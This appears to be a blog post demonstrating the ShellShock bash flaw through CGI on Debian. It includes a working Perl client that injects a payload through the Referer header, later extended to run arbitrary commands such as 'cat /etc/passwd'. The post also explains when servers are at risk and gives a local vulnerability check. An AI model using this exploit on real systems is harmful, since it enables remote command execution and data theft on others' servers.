Here's a proof of concept of the ShellShock attack on Debian 6
Setup
Create 2 CGI scripts thus:test1.cgi
#!/bin/bash
echo Content-type: text/plain
echo ""
echo Hello
test2.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n";
print "\n";
print "Hello from perl\n";
print "HTTP_REFERER=$ENV{HTTP_REFERER}\n\n";
#system('/bin/bash -c "echo Im In Bash"');
testclient.pl
#!/usr/bin/perl
use strict;
use warnings;
use LWP;
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ';
# EDIT HERE
my $targeturl = 'http://myserver.example.com/cgi-bin/test1.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');
my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}
Testing
Install test1.cgi and test2.cgi on a test webserver under /cgi-bin/ and make sure both are chmod +xEdit the $targeturl variable in testclient.pl to point to your test server and set it to test1.cgi
Run testclient.pl. The output might look something like:
Youve been 0wn3d
Content-type: text/plain
Hello
Now change $targeturl in testclient.pl to end in "/test2.cgi"
Run again. The output might look like:
Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';
So good - non bash CGI scripts do not do anything bad.
EXCEPT, and here's the rub, what if the script calls bash via an exec() or system()?
Well - uncomment the #system... line in test2.cgi and run testclient again:
Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';
Content-type: text/plain
Youve been 0wn3d
Im In Bash
Oh dear...
Here's an improved testclient.pl
#!/usr/bin/perl
use strict;
use warnings;
use LWP;
my $cmd = $ARGV[0];
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ' . $cmd;
my $targeturl = 'http://myserver.example.com/cgi-bin/ttt2.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');
my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}
Now you can run:
testclient.pl 'hostname -f'
and get something like:
Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d'; hostname -f
Content-type: text/plain
Youve been 0wn3d
yourserver.example.com
then try:
testclient.pl 'cat /etc/passwd'
So what does it all mean?
Well - you'll notice I had to explicitly call /bin/bash in test2.cgi and also make it the explicit interpreter in test1.cgi.
This is because in Debian 6 and 7 at least apache's default shell is /bin/sh which is a symlink to /bin/dash. Debian 5 and before used bash as the default shell. NOTE that if you did an inplace dist-upgrade of Debian 5 to 6, /bin/sh will still link to /bin/bash.
So your risk (at least on new installs of Debian 6 onwards) will be limited to any web script that is called directly or indirectly from a CGI mechanism AND invokes bash explicitly - unless you changed the system shell...
Trivial clean test script for testing systems
#!/usr/bin/perl
use strict;
use warnings;
$ENV{SHELLSHOCK} = '() { :; }; echo \'Vulnerable to shellshock\'';
exec('/bin/bash', '-c', 'exit');
No comments:
Post a Comment